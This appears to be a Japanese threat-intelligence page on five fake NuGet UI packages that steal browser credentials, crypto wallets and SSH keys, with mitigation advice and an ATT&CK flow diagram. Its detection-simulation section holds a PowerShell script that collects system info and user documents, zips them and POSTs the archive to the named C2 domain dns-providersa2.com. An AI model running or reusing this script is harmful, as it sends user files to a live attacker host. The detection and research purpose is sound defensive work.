5つの偽NuGetユーザーインターフェイスパッケージが暗号ウォレットと認証情報を盗む
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
アカウントに公開された5つのNuGetパッケージ bmrxntfj 著名な中国の.NET UIライブラリを偽装し、.NET Reactorで保護された情報スティーラーを組み込んでいます。悪意のあるペイロードはDLLがロードされるとすぐにアクティブ化され、JITコンパイラーをハイジャックし、ブラウザーの認証情報、暗号通貨ウォレットデータ、SSHキー、ローカルファイルを盗み、新たに登録されたコマンド&コントロールドメインにそれらを流出させます。頻繁なバージョン変更と隠されたパッケージリストが、単純なハッシュベースの検出を回避することを助け、開発者のワークステーションとCI/CD環境の両方にリスクをもたらします。
調査
研究者は.NET Reactorで保護されたマルウェアを解凍し、 we4ftg.exeという名前の第二段階の.NETアセンブリを特定し、メモリから設定文字列を復元しました。彼らの分析では、どのブラウザとウォレット拡張機能がターゲットにされたかを示し、カスタムHTTPヘッダー形式を文書化し、OneDriveディレクトリの下にあるステージング場所を特定しました。さらに、コマンド&コントロールドメイン、そのIPアドレス、関連するプライベートGitサーバーに関するインフラストラクチャの詳細も明らかにしました。
緩和策
セキュリティ担当者は、コマンド&コントロールドメインとIPアドレスに対するDNS解決とアウトバウンドトラフィックをブロックし、 keys.dat ファイルのOneDriveフォルダー内での作成を監視し、カスタム X-xxx HTTPヘッダーに警告を出すべきです。いずれかの IR.* パッケージは依存関係ツリーから除去し、確認済みの正当なライブラリで置き換えるべきです。潜在的に露出した全ての認証情報、トークン、秘密は直ちにローテーションするべきです。
対応
悪意のある IR.* パッケージの1つを復元またはロードしたすべてのシステムは、妥協したものとして扱い、隔離し、完全な認証情報ローテーションを実施するべきです。検出対象の内容は公開された指標で更新し、NuGet Galleryの管理者と協力して悪意のあるパッケージが削除され、公開アカウントが停止されるようにするべきです。
"graph TB %% クラス定義 classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% ノード – 手法 tech_supply_chain["<b>手法</b> – <b>T1195.002 サプライチェーンの妥協</b><br/><b>説明</b>: 正当なパッケージに悪意のあるコードを注入するためのソフトウェアサプライチェーンの妥協。"] class tech_supply_chain technique tech_appdomain_hijack["<b>手法</b> – <b>T1574.014 実行フローのハイジャック: .NET AppDomain マネージャ</b><br/><b>説明</b>: 敵が.NET AppDomainマネージャをハイジャックして、意図したアプリケーションが始まる前にコードを実行。"] class tech_appdomain_hijack technique tech_obfuscation["<b>手法</b> – <b>T1027 難読化されたファイルまたは情報</b><br/><b>説明</b>: 不正なコードまたはデータを隠すためのパッキング、暗号化、またはその他の手法を使用。"] class tech_obfuscation technique tech_trusted_dev_proxy["<b>手法</b> – <b>T1127 信頼された開発者ユーティリティおよびパッケージマネージャの代理実行</b><br/><b>説明</b>: 正当な開発者ユーティリティまたはパッケージマネージャを悪用して、悪意のあるコードを実行。"] class tech_trusted_dev_proxy technique tech_software_ext["<b>手法</b> – <b>T1176 ソフトウェア拡張機能</b><br/><b>説明</b>: 実行を得るためにソフトウェア拡張機能またはプラグインを活用。"] class tech_software_ext technique tech_process_discovery["<b>手法</b> – <b>T1057 プロセスの発見</b><br/><b>説明</b>: 被害者システム上の実行中のプロセスを列挙。"] class tech_process_discovery technique tech_file_dir_discovery["<b>手法</b> – <b>T1083 ファイルとディレクトリの発見</b><br/><b>説明</b>: 貴重なデータを特定するためにファイルとディレクトリを一覧。"] class tech_file_dir_discovery technique tech_browser_info["<b>手法</b> – <b>T1217 ブラウザ情報の発見</b><br/><b>説明</b>: インストールされているブラウザと拡張機能についての情報を収集。"] class tech_browser_info technique tech_browser_credentials["<b>手法</b> – <b>T1555.003 ウェブブラウザからの認証情報</b><br/><b>説明</b>: 保存されたパスワード、クッキー、その他の認証素材をブラウザから抽出。"] class tech_browser_credentials technique tech_private_keys["<b>手法</b> – <b>T1552.004 保護されていない認証情報: プライベートキー</b><br/><b>説明</b>: プライベートSSHキーとその他の暗号鍵を特定して流出。"] class tech_private_keys technique tech_credentials_files["<b>手法</b> – <b>T1552.001 ファイル内の認証情報</b><br/><b>説明</b>: 設定またはデータファイルに格納された認証素材を検索。"] class tech_credentials_files technique tech_data_staged_local["<b>手法</b> – <b>T1074.001 データのステージング: ローカル</b><br/><b>説明</b>: 収集したデータを流出前にローカルホストで集約。"] class tech_data_staged_local technique tech_data_staged_remote["<b>手法</b> – <b>T1074.002 データのステージング: リモート</b><br/><b>説明</b>: データがクラウドストレージのようなリモートロケーションでステージング。"] class tech_data_staged_remote technique tech_process_injection["<b>手法</b> – <b>T1055.001 プロセスインジェクション: ダイナミックリンクライブラリインジェクション</b><br/><b>説明</b>: 不正なDLLを正当なプロセスに注入して秘密裏に実行。"] class tech_process_injection technique tech_sandbox_evasion["<b>手法</b> – <b>T1497.002 仮想化/サンドボックス回避: ユーザー活動に基づくチェック</b><br/><b>説明</b>: 既知のユーザー名またはコンピュータ名を確認してサンドボックス環境を検出。"] class tech_sandbox_evasion technique tech_c2_web["<b>手法</b> – <b>T1071.001 アプリケーション層プロトコル: ウェブプロトコル</b><br/><b>説明</b>: HTTP/Sを使用してコマンド&コントロールサーバーと通信。"] class tech_c2_web technique tech_junk_data["<b>手法</b> – <b>T1001.001 データ難読化: ジャンクデータ</b><br/><b>説明</b>: ネットワークペイロードにランダムなノイズを加えて検出を妨げる。"] class tech_junk_data technique %% ノード – ツールとマルウェア tool_nuget_pkg["<b>ツール</b> – <b>名前</b>: 悪意のあるNuGetパッケージ IR.*<br/><b>説明</b>: NuGetに公開され、正当な中国の.NETライブラリを模倣するパッケージで、復元中に引き出される。"] class tool_nuget_pkg tool tool_dotnet_reactor["<b>ツール</b> – <b>名前</b>: .NET Reactor (Necrobit)<br/><b>説明</b>: .NETアセンブリをパックおよび暗号化し、RSA20111024 反改ざん署名を加えます。"] class tool_dotnet_reactor tool malware_payload["<b>マルウェア</b> – <b>名前</b>: .NET Reactor ペイロード<br/><b>説明</b>: AppDomainManager初期化子によってロードされる暗号化された.NETアセンブリ。"] class malware_payload malware tool_sharpinjector["<b>ツール</b> – <b>名前</b>: SharpInjector<br/><b>説明</b>: エクスプローラ.exeのような長期間稼働するプロセスにDLLインジェクションを行う.NETインジェクター。"] class tool_sharpinjector tool process_explorer["<b>プロセス</b> – <b>名前</b>: explorer.exe"] class process_explorer process process_dllhost["<b>プロセス</b> – <b>名前</b>: dllhost.exe"] class process_dllhost process data_staged_file["<b>データ</b> – <b>パス</b>: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% フロー接続 tech_supply_chain –>|配信| tool_nuget_pkg tool_nuget_pkg –>|トリガー| tech_appdomain_hijack tech_appdomain_hijack –>|ロード| malware_payload malware_payload –>|パック| tool_dotnet_reactor tool_dotnet_reactor –>|有効| tech_obfuscation tech_obfuscation –>|促進| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|使用| tech_software_ext tech_software_ext –>|有効| tech_process_discovery tech_process_discovery –>|導く| tech_file_dir_discovery tech_file_dir_discovery –>|導く| tech_browser_info tech_browser_info –>|有効| tech_browser_credentials tech_browser_credentials –>|集める| tech_private_keys tech_private_keys –>|集める| tech_credentials_files tech_credentials_files –>|ステージ| tech_data_staged_local tech_data_staged_local –>|書き込み| data_staged_file data_staged_file –>|同期| tech_data_staged_remote tech_data_staged_remote –>|使用| tool_sharpinjector tool_sharpinjector –>|インジェクト| process_explorer tool_sharpinjector –>|インジェクト| process_dllhost process_explorer –>|サポート| tech_process_injection process_dllhost –>|サポート| tech_process_injection tech_process_injection –>|チェック| tech_sandbox_evasion tech_sandbox_evasion –>|許可| tech_c2_web tech_c2_web –>|伝送| tech_junk_data %% クラス割り当て class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "
攻撃フロー
検出
短いファイル名(cmdline経由)
表示
IOCs(HashSha256)による検出: 5つの悪意のあるNuGetパッケージが中国のUIライブラリを偽装してクリプトウォレットと認証情報を盗む
表示
IOCs(HashSha1)による検出: 5つの悪意のあるNuGetパッケージが中国のUIライブラリを偽装してクリプトウォレットと認証情報を盗む
表示
IOCs(SourceIP)による検出: 5つの悪意のあるNuGetパッケージが中国のUIライブラリを偽装してクリプトウォレットと認証情報を盗む
表示
IOCs(DestinationIP)による検出: 5つの悪意のあるNuGetパッケージが中国のUIライブラリを偽装してクリプトウォレットと認証情報を盗む
表示
流出キャンペーンでの悪意のあるC2通信の検出 [Windowsネットワーク接続]
表示
悪意のあるNuGetパッケージによるJITフックとペイロード配信の検出 [Windowsプロセスの作成]
表示
シミュレーションの実行
前提条件:テレメトリーとベースラインのプレフライトチェックが合格している必要があります。
理由:このセクションは、敵の手法(TTP)を正確に実行して検出ルールをトリガーする方法を詳述しています。コマンドと物語はTTPsを直接反映し、検出ロジックで期待される正確なテレメトリを生成することを目的とする必要があります。抽象的または無関係な例は誤診につながります。
-
攻撃者のストーリー&コマンド:
攻撃者は、被害者の.NETアプリケーションにインポートされたときにPowerShellペイロードを発動する正当なNuGetパッケージを妥協させました。ペイロードは次のステップを実行します:- ディスカバリー(T1082, T1083): OSのバージョンを収集し、ユーザー文書を列挙します。
- 認証情報収集(T1552.001): レジストリから保存された認証情報を読み込みます。
- アーカイブ(T1560): 収集したファイルをZIPアーカイブに圧縮します。
- ヘッダーの難読化(T1027): カスタムHTTPヘッダーを追加
X-Auth-Token: <ランダム文字列>流出トラフィックを偽装するため。 - C2流出(T1071.001, T1005, T1195.002): 悪意のあるC2サーバーにアーカイブをPOST
dns-providersa2.com(またはそのハードコーディングされたIP62.84.102.85).
この
X-ヘッダーの使用はSigmaルールのhttp.request.header|contains: "X-"条項に直接適合し、宛先は静的IoCに一致します。 -
回帰テストスクリプト:
# ----------------------------------------------------------------- # 回帰テスト - “悪意のあるC2通信”Sigmaルールをトリガー # ----------------------------------------------------------------- # 1. システム情報の収集(T1082) $sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory # 2. ユーザー文書の列挙(T1083) $docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue # 3. レジストリからサンプルの認証情報を読解(T1552.001) $credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU" $storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String # 4. データのパッケージ化(T1560) $tempZip = "$env:TEMPexfil_$(Get-Random).zip" $items = @($sysInfo, $docs, $storedCred) Compress-Archive -Path $items -DestinationPath $tempZip -Force # 5. カスタムHTTPヘッダーの準備(難読化 – T1027) $authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())" # 6. HTTP POSTを通じて悪意のあるC2に流出(T1071.001) $c2 = "http://dns-providersa2.com/upload" Invoke-WebRequest -Uri $c2 ` -Method Post ` -InFile $tempZip ` -ContentType "application/octet-stream" ` -Headers @{'X-Auth-Token' = $authToken} # 7. ローカルアーティファクトのクリーンアップ Remove-Item $tempZip -Force -
クリーンアップコマンド:
# テストから残る可能性のある一時ファイルをすべて削除 Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force # ファイアウォールログサイズのリセット(オプション) netsh advfirewall set allprofiles logging maxfilesize 4096